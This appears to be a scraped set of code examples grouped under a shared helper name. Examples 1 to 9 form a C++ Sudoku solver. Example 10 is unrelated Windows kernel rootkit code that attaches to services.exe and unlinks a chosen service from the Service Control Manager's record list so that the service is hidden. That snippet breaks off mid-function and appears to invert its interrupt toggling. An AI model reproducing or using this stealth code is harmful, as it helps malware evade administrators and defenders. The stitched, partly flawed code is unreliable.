Example #1
0
	static bool HandleNextRecursive (const unsigned short theIndex, Cell * theCell, MatrixOfCellPtr * theSchema){
		LogicAssert (true == IsGoodPtr (theCell));
		LogicAssert (true == IsGoodPtr (theSchema));
		LogicAssert (true == IsGoodSchema (theSchema));

		const unsigned short aTransformedIndex = TransformIndex (theIndex, theCell, theSchema);
		gNumOfCall++;
		if (theIndex >= kDim * kDim){
			++gNumOfSolution;
			if (!(gNumOfSolution % 100000) || true){
				const unsigned long aCurrentSolution = gNumOfSolution;
				ISI_DUMP (aCurrentSolution);
				ISI_DUMP (gNumOfCall);
				ISI_DUMP (static_cast <double >(gNumOfCall)/aCurrentSolution);
				DumpMatrix ("theRowVector", theSchema [0]);
				ISI_DUMP (BoolToStr (IsGoodSolution (theSchema)));
			}
			return false;
		}

		LogicAssert (/*(theIndex >= 0) &&*/ (theIndex < kDim * kDim));
		
		if (theCell [aTransformedIndex].GetStatus () == CellStatus::ConstantInputInitValue){
			return HandleNextRecursive (NextIndex (theIndex), theCell, theSchema);
		}

		bool rit = false;
		for (CellValue aValue = 0; aValue < kDim; ++aValue){
			LogicAssert (theCell [aTransformedIndex].GetValue () != aValue+1);
			LogicAssert (theCell [aTransformedIndex].GetValue () == 0);

            const bool aGood = IsGoodSchemaAvailable (theSchema, aValue, aTransformedIndex);
			if (aGood){
				theCell [aTransformedIndex].SetValue (aValue + 1);
				rit = HandleNextRecursive (NextIndex (theIndex), theCell, theSchema);
				if (rit){
					break;
				}
				else{
					theCell [aTransformedIndex].SetValue (0);
				}
			}
		}
		return rit;
	}
Example #2
0
	static std::size_t CountFreeFree (CellVector ** aMatrix){
        LogicAssert(true == IsGoodPtr(aMatrix));
		bool aValueVect [kDim] = {false};
		for (std::size_t i = 0; i < kDim; ++i){
            for (int j = 0; j < 3; ++j){
                LogicAssert(true == IsGoodPtr(aMatrix[j]));
                LogicAssert(true == IsGoodPtr((*aMatrix[j])[i]));
                const unsigned short aVal = (*aMatrix[j])[i]->GetValue ();
                if (aVal > 0){
                    LogicAssert(IsInCRange <std::size_t>(0, aVal - 1, IG_DIM_OF_ARRAY(aValueVect)));
                    if (false == aValueVect [aVal - 1]){
                        aValueVect [aVal - 1] = true;
                    }
                }
            }
		}

		return std::count (aValueVect, aValueVect + kDim, false);
	}
Example #3
0
	bool IsGood (const MatrixOfCellPtr * theSchema, const TAlgo theAlgo){
        LogicAssert(true == IsGoodPtr(theSchema));
		bool rit = true;
		for (std::size_t i = 0; (i < kDim) && rit; ++i){
			rit = theAlgo (theSchema [0][i]) &&
				theAlgo (theSchema [1][i]) &&
				theAlgo (theSchema [2][i]);
		}
		return rit;		
	}
Example #4
0
	static void DumpMatrix (const char * theIdentifier, const MatrixOfCellPtr  &theMatrix){
		LogicAssert (true == IsGoodPtr (theIdentifier));
		std::cout << theIdentifier << ":" << std::endl;
		for (std::size_t j = 0; j < kDim; ++j){
			for (std::size_t i = 0; i < kDim; ++i){
				std::cout << "\t" /*<< "[" << theMatrix [j][i]->fStatus << "] "*/<< theMatrix [j][i]->GetValue () << ", ";
				// std::cout << "\t" /*<< "[" << theMatrix [j][i]->fStatus << "] "*/<< theMatrix [j][i] << ", ";
			}
			std::cout << std::endl;
		}
	}
Example #5
0
	static unsigned short TransformIndex (const unsigned short theIndex, const Cell * theCell, MatrixOfCellPtr * theSchema){
		LogicAssert (true == IsGoodPtr (theCell));
		LogicAssert (true == IsGoodPtr (theSchema));
		static std::vector <std::pair <unsigned short, CellStatusWithValue> > sTransformArray;
		static bool sFirstTime = true;
		if (sFirstTime){
			sFirstTime = false;
			for (unsigned short i = 0; i < kDim * kDim; ++i){
				const std::size_t aRowIndex = kIndexHelper [i][0] - 1;
				const std::size_t aColIndex = kIndexHelper [i][1] - 1;
				const std::size_t aSqrIndex = kIndexHelper [i][2] - 1;
#ifdef _DEBUG
                const std::size_t aCountFreeRow = CountFree (theSchema [0][aRowIndex]);
                const std::size_t aCountFreeCol = CountFree (theSchema [1][aColIndex]);
                const std::size_t aCountFreeSqr = CountFree (theSchema [2][aSqrIndex]);
                ISI_DUMP(aCountFreeRow);
                ISI_DUMP(aCountFreeCol);
                ISI_DUMP(aCountFreeSqr);
#endif
                CellVector * aMatrix []={
                    &theSchema [0][aRowIndex], &theSchema [1][aColIndex], &theSchema [2][aSqrIndex]
                };
				const std::size_t aCountFreeFree = CountFreeFree (aMatrix);
				#if 1
				sTransformArray.emplace_back (i, CellStatusWithValue (theCell [i].GetStatus (), aCountFreeFree));
				#else
				const std::pair <unsigned short, CellStatusWithValue> aPair (i, CellStatusWithValue (theCell [i].GetStatus (), aCountFreeFree));
				sTransformArray.push_back (aPair);
				#endif
			}
			std::sort (sTransformArray.begin (), sTransformArray.end (), MyCompare);
			#ifdef _DEBUG
			std::for_each (sTransformArray.begin (), sTransformArray.end (), MyDump);
			#endif
		}
		// return  kDim*kDim - theIndex - 1;
		return sTransformArray [theIndex].first;
	}
Example #6
0
    static bool IsGoodSchemaAvailable (const MatrixOfCellPtr * theSchema, const CellValue theValue, const unsigned short theTransformedIndex){
		LogicAssert (true == IsGoodPtr (theSchema));
		LogicAssert (true == IsGoodSchema (theSchema)); // this is the slow assert
#ifdef _DEBUG
        bool aGood = true;
        for (int i = 0; i < 3 && aGood; ++i){
            const std::size_t aIndex = kIndexHelper [theTransformedIndex][i] - 1;
            aGood = isi::IsAvailable (theSchema [i][aIndex], theValue + 1);
        }
        return aGood;
#else
        return isi::IsAvailable (theSchema [0][kIndexHelper [theTransformedIndex][0] - 1], theValue + 1)
        && isi::IsAvailable (theSchema [1][kIndexHelper [theTransformedIndex][1] - 1], theValue + 1)
        && isi::IsAvailable (theSchema [2][kIndexHelper [theTransformedIndex][2] - 1], theValue + 1);
#endif
    }
Example #7
0
	static void my_main (const char * theFileName){
		LogicAssert (true == IsGoodPtr (theFileName));
		LogicAssert (std::strlen (theFileName) > 0);
		ISI_DUMP (theFileName);

		#if 1
		CellValue kCellValue [kDim * kDim]={
			0
		};
		LoadCellValuesFromFile (theFileName, kCellValue);

        #else
		const CellValue kCellValue [kDim * kDim]={
			0, 0, 6, 0, 5, 0, 8, 0, 2,
			0, 0, 8, 0, 0, 4, 5, 0, 9,
			0, 5, 7, 0, 8, 2, 3, 0, 0,

			1, 0, 0, 0, 6, 0, 0, 5, 0,
			0, 8, 5, 0, 0, 3, 0, 2, 6,
			6, 4, 0, 0, 0, 0, 0, 0, 7,

			0, 0, 9, 1, 0, 0, 6, 0, 0,
			5, 0, 1, 8, 0, 0, 2, 0, 0,
			0, 0, 4, 0, 3, 0, 7, 0, 0
		};
		#endif
		Cell aCell [kDim * kDim];
		
		for (std::size_t aIter = 0; aIter < kDim * kDim; ++aIter){
			if (0 != kCellValue [aIter]){
                LogicAssert(IsInCRange <std::size_t>(0, aIter, IG_DIM_OF_ARRAY(kCellValue)));
                LogicAssert(IsInCRange <std::size_t>(0, aIter, IG_DIM_OF_ARRAY(aCell)));
				aCell [aIter].SetInitValue (kCellValue [aIter]);
			}
		}
		
		ISI_DUMP (std::count_if (aCell, aCell + kDim * kDim, IsInitValue));

		// alias of rows
		MatrixOfCellPtr aRow (kDim);
		std::size_t i = 0;
		std::size_t j = 0;
		for (j = 0; j < kDim; ++j){
			for (i = 0; i < kDim; ++i){
                LogicAssert(IsInCRange <std::size_t>(0, i + j*kDim, IG_DIM_OF_ARRAY(aCell)));
				aRow [j].push_back(&aCell [i + j*kDim]);
			}
		}
		
		isi::DumpMatrix ("aRow", aRow);
		
		// alias of columns
		MatrixOfCellPtr aCol (kDim);
		for (j = 0; j < kDim; ++j){
			for (i = 0; i < kDim; ++i){
                LogicAssert(IsInCRange <std::size_t>(0, i + j*kDim, IG_DIM_OF_ARRAY(aCell)));
				aCol [i].push_back(&aCell [i + j*kDim]);
			}
		}
		
		// alias of square
		MatrixOfCellPtr aSqr (kDim);
		const std::size_t aTransform [kDim][3] = {
        // it would be interesting automagically create this matrix at compile time, using meta programming
			{0, 0, 0}, {1, 0, 3}, {2, 0, 6},
			{3, 3, 0}, {4, 3, 3}, {5, 3, 6},
			{6, 6, 0}, {7, 6, 3}, {8, 6, 6}
		};

		for (j = 0; j < kDim; ++j){
			std::size_t aIndex = 0;
			for (std::size_t a = aTransform [j][1]; a <  aTransform [j][1] + 3; ++a){
				for (std::size_t b = aTransform [j][2]; b <  aTransform [j][2] + 3; ++b){
                    LogicAssert(IsInCRange <std::size_t>(0, a, kDim));
                    LogicAssert(IsInCRange <std::size_t>(0, b, kDim));
                    LogicAssert(IsInCRange <std::size_t>(0, j, kDim));
                    LogicAssert(IsInCRange <std::size_t>(0, aIndex, kDim));
					aSqr [j].push_back (aRow [a] [b]);
					++aIndex;	
				}
			}
		}

		#ifdef _DEBUG
		isi::DumpMatrix ("aCol", aCol);
		isi::DumpMatrix ("aSqr", aSqr);
		#endif

        MatrixOfCellPtr aSchema []={
            aRow, aCol, aSqr
        };
		RuntimeAssert (true == IsGoodSchema (aSchema));
		(void) isi::HandleNextRecursive (0, aCell, aSchema);

		isi::ISI_DUMP (isi::gNumOfCall);
		isi::ISI_DUMP (isi::gNumOfSolution);

	}
Example #8
0
	static bool IsGoodSchema (const MatrixOfCellPtr * theSchema){
        LogicAssert(true == IsGoodPtr(theSchema));
		return IsGood (theSchema, IsGoodSchemaSequence);
	}
Example #9
0
		bool operator () (const Cell * theIter) const{
			LogicAssert (true == IsGoodPtr (theIter));
			return theIter->GetValue () == fCellValue;
		}
Example #10
0
NTSTATUS HideFromSCManager(WCHAR *service)
{
  NTSTATUS status;
  PEPROCESS proc;
  PROCESS_BASIC_INFORMATION pbi;
  ULONG *ptr, *ptr2;
  PPEB peb;
  PIMAGE_SECTION_HEADER dsh; // data section headers
  PSERVICE_RECORD curr, prev=NULL, next=NULL;
  PVOID dsec;
  ULONG ServiceNameLen, ServiceToHideNameLen, dsecsize, n, i;
   
  if( NbHiddenServices >= 128 )
     return STATUS_UNSUCCESSFUL;

  // we look for services.exe EPROCESS struct
  status = GetEProcessByName (L"SERVICES.EXE", &proc);
  if( !NT_SUCCESS(status) ) {
    status = GetEProcessByName (L"services.exe", &proc);  
    if( !NT_SUCCESS(status) )  
       return status;
  }

  
  // we attach to it :)
  KeAttachProcess(proc); 
  
  
  // we get infos about current process
  status = ZwQueryInformationProcess(NtCurrentProcess(),
     ProcessBasicInformation, 
     &pbi, 
     sizeof(pbi), 
     0);
  
     
  if( !NT_SUCCESS(status) ) {
     KeDetachProcess();
     return status;    
  }
  
  peb = pbi.PebBaseAddress; 
  
  // look for data section
  dsh = FindModuleSectionHdr(peb->ImageBaseAddress, ".data");                  
                                                                                  
  if( !dsh ) {
     KeDetachProcess();
     return STATUS_UNSUCCESSFUL;   
  }
  
  
  // get section size & offset
  dsecsize = dsh->SizeOfRawData;
  dsec = dsh->VirtualAddress + (PUCHAR)peb->ImageBaseAddress;
  
  /*
      We have now to find the beginning of the service table in the .data section.
      As weasel said, to identify it, we look for a null ptr followed by a valid 
      memory address.
  */
  
  if( !srecord ) {
     for(ptr=(PULONG)dsec, n=dsecsize>>2; n ;  n--,ptr++) {
      
        if( !IsGoodPtr(ptr, 2*sizeof(ULONG)) )
           continue;
     
        if ( (ptr[0] == 0UL) && // our null byte
             (ptr[1] != 0UL) && 
             (ptr[1] < (ULONG)MM_HIGHEST_USER_ADDRESS) && 
             !(ptr[1]&1)) 
        {
           if( IsGoodPtr(ptr, sizeof(SERVICE_RECORD)) ) {
           
            
              if( !MmIsAddressValid(&((PSERVICE_RECORD)ptr[1])->sErv))
                 continue; 
           
              // we look for the sErv tag  
              if( ((PSERVICE_RECORD)ptr[1])->PreviousServiceRecord == (PSERVICE_RECORD)ptr &&
                 ((PSERVICE_RECORD)ptr[1])->sErv == 'vrEs' ) {                       
                 srecord = (PSERVICE_RECORD)ptr;      
                 break;         
              } 
           }
        }  
     }     
  }
  if( !srecord ) {
     // :(
     KeDetachProcess();
     return STATUS_UNSUCCESSFUL;    
  }
  
  curr=srecord;
  ServiceToHideNameLen = wcslen(service); 
  
  while( curr ) {
     if( curr->Lp_WideServiceName == NULL ) {
        curr = curr->NextServiceRecord;
        continue;
     }   
     
     ServiceNameLen = wcslen( curr->Lp_WideServiceName );
     
     if(  ServiceToHideNameLen == ServiceNameLen &&
          !memcmp(curr->Lp_WideServiceName, service, (ServiceNameLen+1)*2))
     {
          
           // process to hide    
           next = curr->NextServiceRecord;
           prev = curr->PreviousServiceRecord;
           
   
           // we hide the service, like for DKOM
           _asm sti
           
           if(next) 
              next->PreviousServiceRecord = prev; 
           if(prev) 
              prev->NextServiceRecord = next;
              
           // note that we can't hide the first service, we don't know 
           // how to access the list right.  

           _asm cli 
            
           // we get data usefull to restore the service later
           HiddenService[NbHiddenServices] = curr;
           NbHiddenServices++;  
      }
      
      curr = curr->NextServiceRecord;      
  }